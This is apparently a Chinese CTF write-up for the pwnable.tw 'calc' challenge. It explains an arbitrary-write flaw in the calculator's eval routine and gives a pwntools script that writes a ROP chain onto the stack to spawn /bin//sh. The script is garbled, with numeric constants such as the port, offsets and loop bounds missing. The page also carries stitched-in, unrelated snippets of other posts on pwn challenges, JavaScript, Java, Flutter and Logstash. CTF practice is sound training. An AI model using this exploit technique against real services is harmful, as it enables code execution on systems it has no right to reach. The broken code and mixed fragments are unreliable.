pwnable.tw calc
题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞
运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出

这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)

下面我们逆向一下整个程序找到真正可利用的漏洞

其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数
下面看一下parse_expr函数

以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可
这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可
from pwn import *
context.log_level='DEBUG'
r=remote('chall.pwnable.tw',)
r.recv()
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec064) # @ .data +
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data +
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ec068) # @ .data +
p += pack('<I', 0x080ec060) # padding without overwrite ebx
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data +
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x08049a21) # int 0x80
def set_val(addr):
r.sendline('+'+str(addr))
val=int(r.recv())
if val>:
r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))
else:
r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))
r.recv()
for i in range(,+len(p)/):
set_val(i)
r.interactive()
pwnable.tw calc的更多相关文章
- pwnable.tw applestore
存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...
- pwnable.tw silver_bullet
产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...
- pwnable.tw hacknote
产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...
- pwnable.tw dubblesort
(留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...
- pwnable.tw start&orw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- 【pwnable.tw】 starbound
此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...
- Pwnable.tw start
Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...
- pwnable.tw orw
orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题
- pwnable.tw unexploitable 分析
这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...
随机推荐
- js循环获取table中的值
<script type="text/javascript"> function getTdValue() { var tableId = document.getEl ...
- (五)jdk8学习心得之默认方法
五.默认方法 1. 使用方法:写在接口中,就是为了接口可以做一些事情. 2. 目的:有很多实现类,有一个公共的抽象方法,其实这些实现类实现该抽象方法的内容是完全一致的,完全没有必要都重新实现一遍.并且 ...
- Flutter内置ICON
由于有时打不开flutter的icon官网 https://material.io/tools/icons/?style=baseline 截图存下icon 如果看不清 Ctrl + 恢复Ctr ...
- [2019.03.25]Linux中的查找
TMUX天下第一 全世界所有用CLI Linux的人都应该用TMUX,我爱它! ======================== 以下是正文 ======================== Linu ...
- Plctext 如何发送默认的模式
当切屏指令都没有的情况下,就会发,即:当65这个地址位(0-7),都为零的情况下.
- 【LUOGU???】WD与数列 sam 启发式合并
题目大意 给你一个字符串,求有多少对不相交且相同的子串. 位置不同算多对. \(n\leq 300000\) 题解 先把后缀树建出来. DFS 整棵树,维护当前子树的 right 集合. 合并两个集合 ...
- The Preliminary Contest for ICPC China Nanchang National Invitational I. Max answer (单调栈+线段树)
题目链接:https://nanti.jisuanke.com/t/38228 题目大意:一个区间的值等于该区间的和乘以区间的最小值.给出一个含有n个数的序列(序列的值有正有负),找到该序列的区间最大 ...
- logstash 自动重新加载配置
自动重新加载配置 为了可以自动检测配置文件的变动和自动重新加载配置文件,需要在启动的时候使用以下命令: ./bin/lagstash -f configfile.conf --config.reloa ...
- Spring Boot学习总结四
利用阿里的druid来管理数据库连接池,在此数据上针对多数据源的情况,做下讲解.首先加上该包 <dependency> <groupId>com.alibaba</gro ...
- java的数组
作用:存储相同类型的一组数组,相当于一个容器,存放数据的.对同种数据类型集中存储.管理.便于遍历 数组类型:就是数组中存储的数据的类型 特点:数组中的所有元素必须属于相同的数据类型,数组中所有元素在内 ...